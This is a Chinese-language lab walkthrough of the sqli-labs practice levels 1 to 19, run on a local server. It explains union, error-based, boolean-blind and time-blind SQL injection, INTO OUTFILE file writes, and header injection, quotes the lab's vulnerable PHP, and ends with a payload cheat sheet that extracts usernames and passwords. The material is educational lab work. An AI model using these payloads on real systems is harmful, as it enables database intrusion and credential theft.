web安全-SQL注入(sqli)
第一关 基于报错的单引号字符型GET注入
查看源码
单引号,确认存在注入点:
http://127.0.0.1/sqli/Less-1/?id=1'
查询字段数:
从1尝试到4,3没报错,4报错说明字段数为3
http://127.0.0.1/sqli/Less-1/?id=1' order by 1,2,3,4--+
因为这里有回显,所以使用union注入查看哪些字段是有回显,
为了不让前面的id=1的查询成功影响我们的判断,所以将1改为任意使其查询失败的值,例如-1(当然也可以用and1=2之类,只要能查询失败即可)
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+
接下来查看数据库信息:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,version(),database() --+
查看所有数据库所有表明:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#database()可以替换成'security'
根据表名知道可能用户的账户密码在users表中,接下来我们就时得到该表下的字段名及内容
查询users里的字段:
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
上述操作可以得到两个敏感字段username和password,接下来就要得到对应字段内容
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,password) from users --+
这样不能分辨账号密码,可以在二者之间添加字段id隔开
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,id,password) from users --+
第二关 基于报错的数字型GET注入
查看源码
数字型注入,可以和第一关一样进行判断,输入的单引号看到报错,但是信息看不到数字
那么步骤时差不多的
?id=1 order by 3 --+
?id=-1 union select 1,2,3 --+
?id=-1 union select 1,version(),database() --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1 union select 1,2,group_concat(username,id,password) from users --+
第三关 基于报错的GET单引号变形字符型注入
查看源码
可以看到$id使用''和()圈起来了,所以仅使用''是不行的,报错信息也可以判断出来
对已有代码基础进行构造
?id=1') order by 3 --+
?id=-1') union select 1,2,3 --+
?id=-1') union select 1,version(),database() --+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1') union select 1,2,group_concat(username,id,password) from users --+
第四关 基于报错的GET双引号变形字符型注入
查看源码
可以看到$id被提前定义,双引号括起来了,然后进行拼接的时候又用括号括起来,故需要闭合双引号和括号
,报错信息也可以判断出来
对以上已有基础代码进行构造
?id=1") order by 3 --+
?id=-1") union select 1,2,3 --+
?id=-1") union select 1,version(),database() --+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1") union select 1,2,group_concat(username,id,password) from users --+
第五关 GET-二次注入-单引号-字符型
查看源码
根据提示是字符型,这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据不显示只有对错页面我们可以选择报错注入
其中payload为你插入的SQL语句,concat是聚合函数,使用聚合函数进行双注入查询时,会在错误信息中携带payload查询出的信息
查询库
http://127.0.0.1/sqli/Less-5/?id=-1'or updatexml(1,concat(0x7e,database(),0x7e),1) --+
表名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
字段
http://127.0.0.1/sqli/Less-5/?id=-1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' ),0x7e),1)--+
查询数据:
最后爆数据显示错误,提示不能超过一行,所以改用limit来显示,并且字段是也不能单个,所以添加concat()显示多个字段数,找下一个就改成limit1,1以此类推
http://127.0.0.1/sqli/Less-5/?id=-1' or updatexml(1,concat(0x7e,(select concat(username,id,password) from users limit 0,1),0x7e),1) --+
第六关 GET-二次注入-双引号-字符型
查看源码
拼接”“与’‘,报错信息也可以判断出来
对以上已有基础代码进行构造
?id=-1'" or updatexml(1,concat(0x7e,database(),0x7e),1)--+
?id=-1'" or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
?id=-1'" or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
http://127.0.0.1/sqli/Less-6/?id=-1'" or updatexml(1,concat(0x7e,(select concat(username,id,password) from users limit 0,1),0x7e),1)--+
第七关 利用into Outfile来写shell
查看源码
id被双层括号和单引号包围,url正确时有提示,用outfile,错误时只有错误
尝试其他闭合,但不显示具体错误信息,说明不能用报错注入
这时候我们采用布尔盲注
?id=1')) and substr(database(),1,1)='x' --+
对x值一直猜,直到s显示You are in.... Use outfile......
这里我们可以用bp进行爆破
设置payload
可以看到s响应You are in.... Use outfile......
那么我们就可以进行过滤,并进行修改第二个参数,得到数据库下一位字母,轮番查找
过滤完之后就会显示正确字符,修改第二个参数,继续第二位爆破
一直爆破
到第9位时会显示空,所以数据库名称就是security
在mysql中,outfile可以输出一个文件,但想要执行这样的操作,就必须开启文件写入的权限
我们可以执行
show variables like '%secure%';
可以看到,secure_file_priv的value值是null,那么代表此时文件的写入权限是关闭的,那我们需要写入输出的文件的保存路径来开启
在mysql中my.ini文件添加secure_file_priv="",重启小皮,进入命令行
构造poc爆表名(into outfile后面的路径分隔符不能是\)
?id=1')) union select user(),version(),(select group_concat(table_name) from information_schema.tables where table_schema="security") into outfile "C:\\Users\\Lenovo\\Desktop\\table.txt" --+
桌面就会出现表名内容
字段
?id=1')) union select user(),version(),(select group_concat(column_name) from information_schema.columns where table_name="users") into outfile "C:\\Users\\Lenovo\\Desktop\\table.txt" --+
账号密码
?id=1')) union select user(),version(),(select group_concat(username,id,password) from users) into outfile "C:\\Users\\Lenovo\\Desktop\\table.txt" --+
第八关 基于布尔的盲注
查看源码
布尔盲注,比较耗时间
- 判断数据库长度,依次修改1,2,3直到数字8,无显示位,数据库长度就为8
?id=1' and length(database())>1 --+
- 爆破数据库名
此步骤与第七关爆破一样,就是错误没有反应,爆破出数据库为security
- 判断表的长度
3有回显,4无回显,表的数量为4
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
- 判断第一个表的长度
5有回显,6无回显,长度为6
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) >5 --+
- 判断表的字符
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+
同理使用bp爆破,
- limit后0表示从第一表开始取
- 第一个1表示只取一个表
- 第二个一表示从第一个表的第一个字符开始截取
- 第三个1表示从第一个表的第一个字符开始,截取长度为1个字符
可以求出第一个表为emails,referers,uagents,users
- 获取字段列名
?id=1' and substr((select column_name from information_schema.columns where table_name = 'users' and table_schema='security' limit 0,1),1,1)='i' --+
同理使用bp爆破,得到列名id,username,password
- 获取数据
?id=1' and substr((select username from users limit 0,1),1,1)='D' --+
接下来就是bp爆破字段内容了,这样下来程序是十分复杂的。
第九关 基于时间的盲注
查看源码
第九关会发现不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们了,布尔盲注适合页面对于错误和正确结果有不同反应,如果界面一直不变我们可以使用时间注入,时间盲注和布尔盲注没有多大差别,时间盲注多了if函数和sleep()函数if(a,sleep(10),1)如果a结果为真,那么执行sleep(10)页面延迟10秒,如果a结果为假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串
?id=1' and if(1=1,sleep(5),1)--+ //更换单引号成"、)根据反应时间判断参数
判断数据库长度
?id=1' and if(length((select database()))>7,sleep(5),1)--+ //大于7时有延迟反应,猜测是8
判断字符
http://127.0.0.1/sqli/Less-9/?id=1' and if(substr((select database()),1,1)=s,sleep(5),1)--+ //逐一更换s字符串,注意判断出数据库
判断表名
?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),1)--+
手工注入比较麻烦,同理可使用bp爆破,需要把接受的参数打开,更换limit参数和第二个1爆破
判断字段名
与bp爆破一样爆出字段
?id=1' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(10),1)--+
逐一检测内容
?id=1' and if(substr((select username from users limit 0,1),1,1)='D',sleep(10),1)--+
更换username password获取内容
第十关 基于时间的盲注
查看源码
?id=1'" and if(substr((select username from users limit 0,1),1,1)='D',sleep(10),1)--+
第十一关 单引号报错注入
查看源码
前十关时get请求,从第十一关是post请求,参数在表单里面,我们可以在输入框进行注入,
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' and password='' LIMIT 0,1' at line 1
知道sql语句可以构造一个恒成立的sql语句,注释符需要换成#
1' union select 1,database()#
表名
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
思路与第一关联合注入相同
第十二关 双引号报错注入
查看源码
输入1‘没反应,1“报错
构造payload
1") union select 1,database()#
第十三关 二次注入
查看源码
使用1;回显错误
构造payload
1') order by 2# //没有
利用union查询,发现没有回显,看源码被注释掉了,没有回显,输入3报错,可以利用报错注入
查库
1')or updatexml(1,concat(0x7e,database(),0x7e),1)#
查表
1')or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
查字段
1')or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' ),0x7e),1)#
查内容
1')or updatexml(1,concat(0x7e,(select concat(username,id,password) from users limit 0,1),0x7e),1)#
第十四关 二次注入
查看源码
1’无反应,1”报错
同上关使用报错注入,将')换成"
第十五关 时间盲注
查看源码
和第十关一样不产生报错信息,这就是明显的布尔盲注,因为还有错误页面和正确页面进行参考
第十六关 时间盲注
同上
第十七关 update报错注入
查看源码
function check_input($value) //检查输入的账户名
{
if(!empty($value)) //如果账户名不为空进行以下判断
{
// truncation (see comments)
$value = substr($value,0,15); //截取账户前15位字符
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc()) //该函数是否是on也就是是否打开,返回0表示关闭,1代表打开
//该函数作用给(' " / null) 特殊字符加上反斜杠转义
{
$value = stripslashes($value);//删除反斜杠
}
// Quote if not a number
if (!ctype_digit($value))//uname字符串如果是非数字将其中特殊字符转义
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value); //变成整数
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
页面展示的是一个密码重置页面,根据源码提示使用报错注入
这题比较坑,注入点在密码处,用户名要输入存在的用户名,比如admin
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#&submit=Submit
第十八题 HTTP头部user-agent注入
查看源码
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
可以看到页面有个IP,源码发现对账户密码都有检查,往下看会发现插入sql语句,当我们输入账户名和密码我们的User-Agent字段内容就会出现在页面上
在User-Agent后面加上单引号出现如下错误,可见插入语句是将ua字段和IP地址以及账户名作为字符串进行插入且外面有括号。还要注意插入语句需要三个参数,所以我们在构造的时候也需要有三个参数,因为#后面都被注释掉了
构造数据,页面显示正常,可以将其他参数换成sql语句进行报错注入
1',2,updatexml (1,concat(0x7e,(select group_concat(username,password) from users),0x7e),0))#
第十九关 HTTP头部refered注入
切换到referer字段,和十八关一样
总结
联合注入
1' order by 3#
1' union select 1,2,database()#
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
id=-1' union select 1,2,group_concat(username,password) from users#
报错注入
1'or updatexml(1,concat(0x7e,database(),0x7e),1)#
1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' ),0x7e),1)#
1' or updatexml(1,concat(0x7e,(select concat(username,id,password) from users limit 0,1),0x7e),1)#
找下一个就修改limit1,1 以此类推
布尔盲注
1' and substr(database(),1,1)='x'#
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'#
1' and substr((select column_name from information_schema.columns where table_name = 'users' and table_schema='security' limit 0,1),1,1)='i'#
1' and substr((select username from users limit 0,1),1,1)='D'#
//可以使用bp爆破字符串
时间盲注
1' and if(substr((select database()),1,1)='s',sleep(10),1)#
1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),1)#
1' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(10),1)#
1' and if(substr((select username from users limit 0,1),1,1)='D',sleep(10),1)#
标签:web,sqli,concat,--+,SQL,table,id,select,schema
From: https://www.cnblogs.com/yang-ace/p/18156355